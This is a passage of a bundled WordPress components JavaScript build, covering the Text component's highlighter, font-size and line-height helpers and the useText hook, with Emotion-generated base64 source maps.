lx0Y29sb3I6ICR7IENPTE9SUy5hbGVydC5yZWQgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBtdXRlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGhpZ2hsaWdodGVyVGV4dCA9IGNzc2Bcblx0bWFyayB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmFsZXJ0LnllbGxvdyB9O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRcdGJveC1zaGFkb3c6XG5cdFx0XHQwIDAgMCAxcHggcmdiYSggMCwgMCwgMCwgMC4wNSApIGluc2V0LFxuXHRcdFx0MCAtMXB4IDAgcmdiYSggMCwgMCwgMCwgMC4xICkgaW5zZXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCB1cHBlckNhc2UgPSBjc3NgXG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuIl19 */",
24161 toString: _EMOTION_STRINGIFIED_CSS_ERROR__4
24162 };
24163
24164 // packages/components/build-module/text/utils.mjs
24165 var import_highlight_words_core = __toESM(require_dist(), 1);
24166 var import_element24 = __toESM(require_element(), 1);
24167 var lowercaseProps = (object) => {
24168 const mapped = {};
24169 for (const key in object) {
24170 mapped[key.toLowerCase()] = object[key];
24171 }
24172 return mapped;
24173 };
24174 var memoizedLowercaseProps = memize(lowercaseProps);
24175 function createHighlighterText({
24176 activeClassName = "",
24177 activeIndex = -1,
24178 activeStyle,
24179 autoEscape,
24180 caseSensitive = false,
24181 children,
24182 findChunks,
24183 highlightClassName = "",
24184 highlightStyle = {},
24185 highlightTag = "mark",
24186 sanitize: sanitize2,
24187 searchWords = [],
24188 unhighlightClassName = "",
24189 unhighlightStyle
24190 }) {
24191 if (!children) {
24192 return null;
24193 }
24194 if (typeof children !== "string") {
24195 return children;
24196 }
24197 const textToHighlight = children;
24198 const chunks = (0, import_highlight_words_core.findAll)({
24199 autoEscape,
24200 caseSensitive,
24201 findChunks,
24202 sanitize: sanitize2,
24203 searchWords,
24204 textToHighlight
24205 });
24206 const HighlightTag = highlightTag;
24207 let highlightIndex = -1;
24208 let highlightClassNames = "";
24209 let highlightStyles;
24210 const textContent = chunks.map((chunk, index2) => {
24211 const text = textToHighlight.substr(chunk.start, chunk.end - chunk.start);
24212 if (chunk.highlight) {
24213 highlightIndex++;
24214 let highlightClass;
24215 if (typeof highlightClassName === "object") {
24216 if (!caseSensitive) {
24217 highlightClassName = memoizedLowercaseProps(highlightClassName);
24218 highlightClass = highlightClassName[text.toLowerCase()];
24219 } else {
24220 highlightClass = highlightClassName[text];
24221 }
24222 } else {
24223 highlightClass = highlightClassName;
24224 }
24225 const isActive = highlightIndex === +activeIndex;
24226 highlightClassNames = `${highlightClass} ${isActive ? activeClassName : ""}`;
24227 highlightStyles = isActive === true && activeStyle !== null ? Object.assign({}, highlightStyle, activeStyle) : highlightStyle;
24228 const props = {
24229 children: text,
24230 className: highlightClassNames,
24231 key: index2,
24232 style: highlightStyles
24233 };
24234 if (typeof HighlightTag !== "string") {
24235 props.highlightIndex = highlightIndex;
24236 }
24237 return (0, import_element24.createElement)(HighlightTag, props);
24238 }
24239 return (0, import_element24.createElement)("span", {
24240 children: text,
24241 className: unhighlightClassName,
24242 key: index2,
24243 style: unhighlightStyle
24244 });
24245 });
24246 return textContent;
24247 }
24248
24249 // packages/components/build-module/utils/font-size.mjs
24250 var BASE_FONT_SIZE = 13;
24251 var PRESET_FONT_SIZES = {
24252 body: BASE_FONT_SIZE,
24253 caption: 10,
24254 footnote: 11,
24255 largeTitle: 28,
24256 subheadline: 12,
24257 title: 20
24258 };
24259 var HEADING_FONT_SIZES = [1, 2, 3, 4, 5, 6].flatMap((n3) => [n3, n3.toString()]);
24260 function getFontSize(size3 = BASE_FONT_SIZE) {
24261 if (size3 in PRESET_FONT_SIZES) {
24262 return getFontSize(PRESET_FONT_SIZES[size3]);
24263 }
24264 if (typeof size3 !== "number") {
24265 const parsed = parseFloat(size3);
24266 if (Number.isNaN(parsed)) {
24267 return size3;
24268 }
24269 size3 = parsed;
24270 }
24271 const ratio = `(${size3} / ${BASE_FONT_SIZE})`;
24272 return `calc(${ratio} * ${config_values_default.fontSize})`;
24273 }
24274 function getHeadingFontSize(size3 = 3) {
24275 if (!HEADING_FONT_SIZES.includes(size3)) {
24276 return getFontSize(size3);
24277 }
24278 const headingSize = `fontSizeH${size3}`;
24279 return config_values_default[headingSize];
24280 }
24281
24282 // packages/components/build-module/text/get-line-height.mjs
24283 function getLineHeight(adjustLineHeightForInnerControls, lineHeight) {
24284 if (lineHeight) {
24285 return lineHeight;
24286 }
24287 if (!adjustLineHeightForInnerControls) {
24288 return;
24289 }
24290 let value = `calc(${config_values_default.controlHeight} + ${space(2)})`;
24291 switch (adjustLineHeightForInnerControls) {
24292 case "large":
24293 value = `calc(${config_values_default.controlHeightLarge} + ${space(2)})`;
24294 break;
24295 case "small":
24296 value = `calc(${config_values_default.controlHeightSmall} + ${space(2)})`;
24297 break;
24298 case "xSmall":
24299 value = `calc(${config_values_default.controlHeightXSmall} + ${space(2)})`;
24300 break;
24301 default:
24302 break;
24303 }
24304 return value;
24305 }
24306
24307 // packages/components/build-module/text/hook.mjs
24308 function _EMOTION_STRINGIFIED_CSS_ERROR__5() {
24309 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
24310 }
24311 var _ref = false ? {
24312 name: "50zrmy",
24313 styles: "text-transform:uppercase"
24314 } : {
24315 name: "18bqwxz-sx-upperCase",
24316 styles: "text-transform:uppercase;label:sx-upperCase;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBa0dpQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbywgQ2hpbGRyZW4sIGNsb25lRWxlbWVudCB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IGhhc0Nvbm5lY3ROYW1lc3BhY2UsIHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZVRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHsgZ2V0T3B0aW1hbFRleHRTaGFkZSB9IGZyb20gJy4uL3V0aWxzL2NvbG9ycyc7XG5pbXBvcnQgKiBhcyBzdHlsZXMgZnJvbSAnLi9zdHlsZXMnO1xuaW1wb3J0IHsgY3JlYXRlSGlnaGxpZ2h0ZXJUZXh0IH0gZnJvbSAnLi91dGlscyc7XG5pbXBvcnQgeyBnZXRGb250U2l6ZSB9IGZyb20gJy4uL3V0aWxzL2ZvbnQtc2l6ZSc7XG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IGdldExpbmVIZWlnaHQgfSBmcm9tICcuL2dldC1saW5lLWhlaWdodCc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uL3V0aWxzL2hvb2tzL3VzZS1jeCc7XG5pbXBvcnQgdHlwZSB7IFByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgdHlwZSBSZWFjdCBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogQHBhcmFtIHtpbXBvcnQoJy4uL2NvbnRleHQnKS5Xb3JkUHJlc3NDb21wb25lbnRQcm9wczxpbXBvcnQoJy4vdHlwZXMnKS5Qcm9wcywgJ3NwYW4nPn0gcHJvcHNcbiAqL1xuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGV4dChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBQcm9wcywgJ3NwYW4nID5cbikge1xuXHRjb25zdCB7XG5cdFx0YWRqdXN0TGluZUhlaWdodEZvcklubmVyQ29udHJvbHMsXG5cdFx0YWxpZ24sXG5cdFx0Y2hpbGRyZW4sXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGNvbG9yLFxuXHRcdGVsbGlwc2l6ZU1vZGUsXG5cdFx0aXNEZXN0cnVjdGl2ZSA9IGZhbHNlLFxuXHRcdGRpc3BsYXksXG5cdFx0aGlnaGxpZ2h0RXNjYXBlID0gZmFsc2UsXG5cdFx0aGlnaGxpZ2h0Q2FzZVNlbnNpdGl2ZSA9IGZhbHNlLFxuXHRcdGhpZ2hsaWdodFdvcmRzLFxuXHRcdGhpZ2hsaWdodFNhbml0aXplLFxuXHRcdGlzQmxvY2sgPSBmYWxzZSxcblx0XHRsZXR0ZXJTcGFjaW5nLFxuXHRcdGxpbmVIZWlnaHQ6IGxpbmVIZWlnaHRQcm9wLFxuXHRcdG9wdGltaXplUmVhZGFiaWxpdHlGb3IsXG5cdFx0c2l6ZSxcblx0XHR0cnVuY2F0ZSA9IGZhbHNlLFxuXHRcdHVwcGVyQ2FzZSA9IGZhbHNlLFxuXHRcdHZhcmlhbnQsXG5cdFx0d2VpZ2h0ID0gQ09ORklHLmZvbnRXZWlnaHQsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdUZXh0JyApO1xuXG5cdGxldCBjb250ZW50OiBSZWFjdC5SZWFjdE5vZGUgPSBjaGlsZHJlbjtcblx0Y29uc3QgaXNIaWdobGlnaHRlciA9IEFycmF5LmlzQXJyYXkoIGhpZ2hsaWdodFdvcmRzICk7XG5cdGNvbnN0IGlzQ2FwdGlvbiA9IHNpemUgPT09ICdjYXB0aW9uJztcblxuXHRpZiAoIGlzSGlnaGxpZ2h0ZXIgKSB7XG5cdFx0aWYgKCB0eXBlb2YgY2hpbGRyZW4gIT09ICdzdHJpbmcnICkge1xuXHRcdFx0dGhyb3cgbmV3IFR5cGVFcnJvcihcblx0XHRcdFx0J2BjaGlsZHJlbmAgb2YgYFRleHRgIG11c3Qgb25seSBiZSBgc3RyaW5nYCB0eXBlcyB3aGVuIGBoaWdobGlnaHRXb3Jkc2AgaXMgZGVmaW5lZCdcblx0XHRcdCk7XG5cdFx0fVxuXG5cdFx0Y29udGVudCA9IGNyZWF0ZUhpZ2hsaWdodGVyVGV4dCgge1xuXHRcdFx0YXV0b0VzY2FwZTogaGlnaGxpZ2h0RXNjYXBlLFxuXHRcdFx0Y2hpbGRyZW4sXG5cdFx0XHRjYXNlU2Vuc2l0aXZlOiBoaWdobGlnaHRDYXNlU2Vuc2l0aXZlLFxuXHRcdFx0c2VhcmNoV29yZHM6IGhpZ2hsaWdodFdvcmRzLFxuXHRcdFx0c2FuaXRpemU6IGhpZ2hsaWdodFNhbml0aXplLFxuXHRcdH0gKTtcblx0fVxuXG5cdGNvbnN0IGN4ID0gdXNlQ3goKTtcblxuXHRjb25zdCBjbGFzc2VzID0gdXNlTWVtbyggKCkgPT4ge1xuXHRcdGNvbnN0IHN4OiBSZWNvcmQ8IHN0cmluZywgU2VyaWFsaXplZFN0eWxlcyB8IG51bGwgPiA9IHt9O1xuXG5cdFx0Y29uc3QgbGluZUhlaWdodCA9IGdldExpbmVIZWlnaHQoXG5cdFx0XHRhZGp1c3RMaW5lSGVpZ2h0Rm9ySW5uZXJDb250cm9scyxcblx0XHRcdGxpbmVIZWlnaHRQcm9wXG5cdFx0KTtcblxuXHRcdHN4LkJhc2UgPSBjc3MoIHtcblx0XHRcdGNvbG9yLFxuXHRcdFx0ZGlzcGxheSxcblx0XHRcdGZvbnRTaXplOiBnZXRGb250U2l6ZSggc2l6ZSApLFxuXHRcdFx0Zm9udFdlaWdodDogd2VpZ2h0LFxuXHRcdFx0bGluZUhlaWdodCxcblx0XHRcdGxldHRlclNwYWNpbmcsXG5cdFx0XHR0ZXh0QWxpZ246IGFsaWduLFxuXHRcdH0gKTtcblxuXHRcdHN4LnVwcGVyQ2FzZSA9IGNzcyggeyB0ZXh0VHJhbnNmb3JtOiAndXBwZXJjYXNlJyB9ICk7XG5cblx0XHRzeC5vcHRpbWFsVGV4dENvbG9yID0gbnVsbDtcblxuXHRcdGlmICggb3B0aW1pemVSZWFkYWJpbGl0eUZvciApIHtcblx0XHRcdGNvbnN0IGlzT3B0aW1hbFRleHRDb2xvckRhcmsgPVxuXHRcdFx0XHRnZXRPcHRpbWFsVGV4dFNoYWRlKCBvcHRpbWl6ZVJlYWRhYmlsaXR5Rm9yICkgPT09ICdkYXJrJztcblxuXHRcdFx0Ly8gU2hvdWxkIG5vdCB1c2UgdGhlbWUgY29sb3JzXG5cdFx0XHRzeC5vcHRpbWFsVGV4dENvbG9yID0gaXNPcHRpbWFsVGV4dENvbG9yRGFya1xuXHRcdFx0XHQ/IGNzcyggeyBjb2xvcjogQ09MT1JTLmdyYXlbIDkwMCBdIH0gKVxuXHRcdFx0XHQ6IGNzcyggeyBjb2xvcjogQ09MT1JTLndoaXRlIH0gKTtcblx0XHR9XG5cblx0XHRyZXR1cm4gY3goXG5cdFx0XHRzdHlsZXMuVGV4dCxcblx0XHRcdHN4LkJhc2UsXG5cdFx0XHRzeC5vcHRpbWFsVGV4dENvbG9yLFxuXHRcdFx0aXNEZXN0cnVjdGl2ZSAmJiBzdHlsZXMuZGVzdHJ1Y3RpdmUsXG5cdFx0XHQhISBpc0hpZ2hsaWdodGVyICYmIHN0eWxlcy5oaWdobGlnaHRlclRleHQsXG5cdFx0XHRpc0Jsb2NrICYmIHN0eWxlcy5ibG9jayxcblx0XHRcdGlzQ2FwdGlvbiAmJiBzdHlsZXMubXV0ZWQsXG5cdFx0XHR2YXJpYW50ICYmIHN0eWxlc1sgdmFyaWFudCBdLFxuXHRcdFx0dXBwZXJDYXNlICYmIHN4LnVwcGVyQ2FzZSxcblx0XHRcdGNsYXNzTmFtZVxuXHRcdCk7XG5cdH0sIFtcblx0XHRhZGp1c3RMaW5lSGVpZ2h0Rm9ySW5uZXJDb250cm9scyxcblx0XHRhbGlnbixcblx0XHRjbGFzc05hbWUsXG5cdFx0Y29sb3IsXG5cdFx0Y3gsXG5cdFx0ZGlzcGxheSxcblx0XHRpc0Jsb2NrLFxuXHRcdGlzQ2FwdGlvbixcblx0XHRpc0Rlc3RydWN0aXZlLFxuXHRcdGlzSGlnaGxpZ2h0ZXIsXG5cdFx0bGV0dGVyU3BhY2luZyxcblx0XHRsaW5lSGVpZ2h0UHJvcCxcblx0XHRvcHRpbWl6ZVJlYWRhYmlsaXR5Rm9yLFxuXHRcdHNpemUsXG5cdFx0dXBwZXJDYXNlLFxuXHRcdHZhcmlhbnQsXG5cdFx0d2VpZ2h0LFxuXHRdICk7XG5cblx0bGV0IGZpbmFsRWxsaXBzaXplTW9kZTogdW5kZWZpbmVkIHwgJ2F1dG8nIHwgJ25vbmUnO1xuXHRpZiAoIHRydW5jYXRlID09PSB0cnVlICkge1xuXHRcdGZpbmFsRWxsaXBzaXplTW9kZSA9ICdhdXRvJztcblx0fVxuXHRpZiAoIHRydW5jYXRlID09PSBmYWxzZSApIHtcblx0XHRmaW5hbEVsbGlwc2l6ZU1vZGUgPSAnbm9uZSc7XG5cdH1cblxuXHRjb25zdCBmaW5hbENvbXBvbmVudFByb3BzID0ge1xuXHRcdC4uLm90aGVyUHJvcHMsXG5cdFx0Y2xhc3NOYW1lOiBjbGFzc2VzLFxuXHRcdGNoaWxkcmVuLFxuXHRcdGVsbGlwc2l6ZU1vZGU6IGVsbGlwc2l6ZU1vZGUgfHwgZmluYWxFbGxpcHNpemVNb2RlLFxuXHR9O1xuXG5cdGNvbnN0IHRydW5jYXRlUHJvcHMgPSB1c2VUcnVuY2F0ZSggZmluYWxDb21wb25lbnRQcm9wcyApO1xuXG5cdC8qKlxuXHQgKiBFbmhhbmNlIGNoaWxkIGA8TGluayAvPmAgY29tcG9uZW50cyB0byBpbmhlcml0IGZvbnQgc2l6ZS5cblx0ICovXG5cdGlmICggISB0cnVuY2F0ZSAmJiBBcnJheS5pc0FycmF5KCBjaGlsZHJlbiApICkge1xuXHRcdGNvbnRlbnQgPSBDaGlsZHJlbi5tYXAoIGNoaWxkcmVuLCAoIGNoaWxkICkgPT4ge1xuXHRcdFx0aWYgKFxuXHRcdFx0XHR0eXBlb2YgY2hpbGQgIT09ICdvYmplY3QnIHx8XG5cdFx0XHRcdGNoaWxkID09PSBudWxsIHx8XG5cdFx0XHRcdCEgKCAncHJvcHMnIGluIGNoaWxkIClcblx0XHRcdCkge1xuXHRcdFx0XHRyZXR1cm4gY2hpbGQ7XG5cdFx0XHR9XG5cblx0XHRcdGNvbnN0IGlzTGluayA9IGhhc0Nvbm5lY3ROYW1lc3BhY2UoIGNoaWxkLCBbICdMaW5rJyBdICk7XG5cdFx0XHRpZiAoIGlzTGluayApIHtcblx0XHRcdFx0cmV0dXJuIGNsb25lRWxlbWVudCggY2hpbGQsIHtcblx0XHRcdFx0XHRzaXplOiBjaGlsZC5wcm9wcy5zaXplIHx8ICdpbmhlcml0Jyxcblx0XHRcdFx0fSApO1xuXHRcdFx0fVxuXG5cdFx0XHRyZXR1cm4gY2hpbGQ7XG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIHtcblx0XHQuLi50cnVuY2F0ZVByb3BzLFxuXHRcdGNoaWxkcmVuOiB0cnVuY2F0ZSA/IHRydW5jYXRlUHJvcHMuY2hpbGRyZW4gOiBjb250ZW50LFxuXHR9O1xufVxuIl19 */",
24317 toString: _EMOTION_STRINGIFIED_CSS_ERROR__5
24318 };
24319 function useText(props) {
24320 const {
24321 adjustLineHeightForInnerControls,
24322 align,
24323 children,
24324 className: className2,
24325 color: color2,
24326 ellipsizeMode,
24327 isDestructive = false,
24328 display,
24329 highlightEscape = false,
24330 highlightCaseSensitive = false,
24331 highlightWords,
24332 highlightSanitize,
24333 isBlock = false,
24334 letterSpacing,
24335 lineHeight: lineHeightProp,
24336 optimizeReadabilityFor,
24337 size: size3,
24338 truncate = false,
24339 upperCase: upperCase2 = false,
24340 variant,
24341 weight = config_values_default.fontWeight,
24342 ...otherProps
24343 } = useContextSystem(props, "Text");
24344 let content = children;
24345 const isHighlighter = Array.isArray(highlightWords);
24346 const isCaption = size3 === "caption";
24347 if (isHighlighter) {
24348 if (typeof children !== "string") {
24349 throw new TypeError("`children` of `Text` must only be `string` types when `highlightWords` is defined");
24350 }
24351 content = createHighlighterText({
24352 autoEscape: highlightEscape,
24353 children,
24354 caseSensitive: highlightCaseSensitive,
24355 searchWords: highlightWords,
24356 sanitize: highlightSanitize
24357 });
24358 }
24359 const cx3 = useCx();
24360 const classes = (0, import_element25.useMemo)(() => {
24361 const sx = {};
24362 const lineHeight = getLineHeight(adjustLineHeightForInnerControls, lineHeightProp);
24363 sx.Base = /* @__PURE__ */ css({
24364 color: color2,
24365 display,
24366 fontSize: getFontSize(size3),
24367 fontWeight: weight,
24368 lineHeight,
24369 letterSpacing,
24370 textAlign: align
24371 }, false ? "" : ";label:sx-Base;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBd0ZZIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vLCBDaGlsZHJlbiwgY2xvbmVFbGVtZW50IH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgaGFzQ29ubmVjdE5hbWVzcGFjZSwgdXNlQ29udGV4dFN5c3RlbSB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgdXNlVHJ1bmNhdGUgfSBmcm9tICcuLi90cnVuY2F0ZSc7XG5pbXBvcnQgeyBnZXRPcHRpbWFsVGV4dFNoYWRlIH0gZnJvbSAnLi4vdXRpbHMvY29sb3JzJztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBjcmVhdGVIaWdobGlnaHRlclRleHQgfSBmcm9tICcuL3V0aWxzJztcbmltcG9ydCB7IGdldEZvbnRTaXplIH0gZnJvbSAnLi4vdXRpbHMvZm9udC1zaXplJztcbmltcG9ydCB7IENPTkZJRywgQ09MT1JTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgZ2V0TGluZUhlaWdodCB9IGZyb20gJy4vZ2V0LWxpbmUtaGVpZ2h0JztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB0eXBlIHsgUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcbmltcG9ydCB0eXBlIFJlYWN0IGZyb20gJ3JlYWN0JztcblxuLyoqXG4gKiBAcGFyYW0ge2ltcG9ydCgnLi4vY29udGV4dCcpLldvcmRQcmVzc0NvbXBvbmVudFByb3BzPGltcG9ydCgnLi90eXBlcycpLlByb3BzLCAnc3Bhbic+fSBwcm9wc1xuICovXG5leHBvcnQgZGVmYXVsdCBmdW5jdGlvbiB1c2VUZXh0KFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IFByb3BzLCAnc3BhbicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhZGp1c3RMaW5lSGVpZ2h0Rm9ySW5uZXJDb250cm9scyxcblx0XHRhbGlnbixcblx0XHRjaGlsZHJlbixcblx0XHRjbGFzc05hbWUsXG5cdFx0Y29sb3IsXG5cdFx0ZWxsaXBzaXplTW9kZSxcblx0XHRpc0Rlc3RydWN0aXZlID0gZmFsc2UsXG5cdFx0ZGlzcGxheSxcblx0XHRoaWdobGlnaHRFc2NhcGUgPSBmYWxzZSxcblx0XHRoaWdobGlnaHRDYXNlU2Vuc2l0aXZlID0gZmFsc2UsXG5cdFx0aGlnaGxpZ2h0V29yZHMsXG5cdFx0aGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0aXNCbG9jayA9IGZhbHNlLFxuXHRcdGxldHRlclNwYWNpbmcsXG5cdFx0bGluZUhlaWdodDogbGluZUhlaWdodFByb3AsXG5cdFx0b3B0aW1pemVSZWFkYWJpbGl0eUZvcixcblx0XHRzaXplLFxuXHRcdHRydW5jYXRlID0gZmFsc2UsXG5cdFx0dXBwZXJDYXNlID0gZmFsc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQgPSBDT05GSUcuZm9udFdlaWdodCxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ1RleHQnICk7XG5cblx0bGV0IGNvbnRlbnQ6IFJlYWN0LlJlYWN0Tm9kZSA9IGNoaWxkcmVuO1xuXHRjb25zdCBpc0hpZ2hsaWdodGVyID0gQXJyYXkuaXNBcnJheSggaGlnaGxpZ2h0V29yZHMgKTtcblx0Y29uc3QgaXNDYXB0aW9uID0gc2l6ZSA9PT0gJ2NhcHRpb24nO1xuXG5cdGlmICggaXNIaWdobGlnaHRlciApIHtcblx0XHRpZiAoIHR5cGVvZiBjaGlsZHJlbiAhPT0gJ3N0cmluZycgKSB7XG5cdFx0XHR0aHJvdyBuZXcgVHlwZUVycm9yKFxuXHRcdFx0XHQnYGNoaWxkcmVuYCBvZiBgVGV4dGAgbXVzdCBvbmx5IGJlIGBzdHJpbmdgIHR5cGVzIHdoZW4gYGhpZ2hsaWdodFdvcmRzYCBpcyBkZWZpbmVkJ1xuXHRcdFx0KTtcblx0XHR9XG5cblx0XHRjb250ZW50ID0gY3JlYXRlSGlnaGxpZ2h0ZXJUZXh0KCB7XG5cdFx0XHRhdXRvRXNjYXBlOiBoaWdobGlnaHRFc2NhcGUsXG5cdFx0XHRjaGlsZHJlbixcblx0XHRcdGNhc2VTZW5zaXRpdmU6IGhpZ2hsaWdodENhc2VTZW5zaXRpdmUsXG5cdFx0XHRzZWFyY2hXb3JkczogaGlnaGxpZ2h0V29yZHMsXG5cdFx0XHRzYW5pdGl6ZTogaGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0fSApO1xuXHR9XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0Y29uc3Qgc3g6IFJlY29yZDwgc3RyaW5nLCBTZXJpYWxpemVkU3R5bGVzIHwgbnVsbCA+ID0ge307XG5cblx0XHRjb25zdCBsaW5lSGVpZ2h0ID0gZ2V0TGluZUhlaWdodChcblx0XHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdFx0bGluZUhlaWdodFByb3Bcblx0XHQpO1xuXG5cdFx0c3guQmFzZSA9IGNzcygge1xuXHRcdFx0Y29sb3IsXG5cdFx0XHRkaXNwbGF5LFxuXHRcdFx0Zm9udFNpemU6IGdldEZvbnRTaXplKCBzaXplICksXG5cdFx0XHRmb250V2VpZ2h0OiB3ZWlnaHQsXG5cdFx0XHRsaW5lSGVpZ2h0LFxuXHRcdFx0bGV0dGVyU3BhY2luZyxcblx0XHRcdHRleHRBbGlnbjogYWxpZ24sXG5cdFx0fSApO1xuXG5cdFx0c3gudXBwZXJDYXNlID0gY3NzKCB7IHRleHRUcmFuc2Zvcm06ICd1cHBlcmNhc2UnIH0gKTtcblxuXHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBudWxsO1xuXG5cdFx0aWYgKCBvcHRpbWl6ZVJlYWRhYmlsaXR5Rm9yICkge1xuXHRcdFx0Y29uc3QgaXNPcHRpbWFsVGV4dENvbG9yRGFyayA9XG5cdFx0XHRcdGdldE9wdGltYWxUZXh0U2hhZGUoIG9wdGltaXplUmVhZGFiaWxpdHlGb3IgKSA9PT0gJ2RhcmsnO1xuXG5cdFx0XHQvLyBTaG91bGQgbm90IHVzZSB0aGVtZSBjb2xvcnNcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBpc09wdGltYWxUZXh0Q29sb3JEYXJrXG5cdFx0XHRcdD8gY3NzKCB7IGNvbG9yOiBDT0xPUlMuZ3JheVsgOTAwIF0gfSApXG5cdFx0XHRcdDogY3NzKCB7IGNvbG9yOiBDT0xPUlMud2hpdGUgfSApO1xuXHRcdH1cblxuXHRcdHJldHVybiBjeChcblx0XHRcdHN0eWxlcy5UZXh0LFxuXHRcdFx0c3guQmFzZSxcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IsXG5cdFx0XHRpc0Rlc3RydWN0aXZlICYmIHN0eWxlcy5kZXN0cnVjdGl2ZSxcblx0XHRcdCEhIGlzSGlnaGxpZ2h0ZXIgJiYgc3R5bGVzLmhpZ2hsaWdodGVyVGV4dCxcblx0XHRcdGlzQmxvY2sgJiYgc3R5bGVzLmJsb2NrLFxuXHRcdFx0aXNDYXB0aW9uICYmIHN0eWxlcy5tdXRlZCxcblx0XHRcdHZhcmlhbnQgJiYgc3R5bGVzWyB2YXJpYW50IF0sXG5cdFx0XHR1cHBlckNhc2UgJiYgc3gudXBwZXJDYXNlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdGFsaWduLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjb2xvcixcblx0XHRjeCxcblx0XHRkaXNwbGF5LFxuXHRcdGlzQmxvY2ssXG5cdFx0aXNDYXB0aW9uLFxuXHRcdGlzRGVzdHJ1Y3RpdmUsXG5cdFx0aXNIaWdobGlnaHRlcixcblx0XHRsZXR0ZXJTcGFjaW5nLFxuXHRcdGxpbmVIZWlnaHRQcm9wLFxuXHRcdG9wdGltaXplUmVhZGFiaWxpdHlGb3IsXG5cdFx0c2l6ZSxcblx0XHR1cHBlckNhc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQsXG5cdF0gKTtcblxuXHRsZX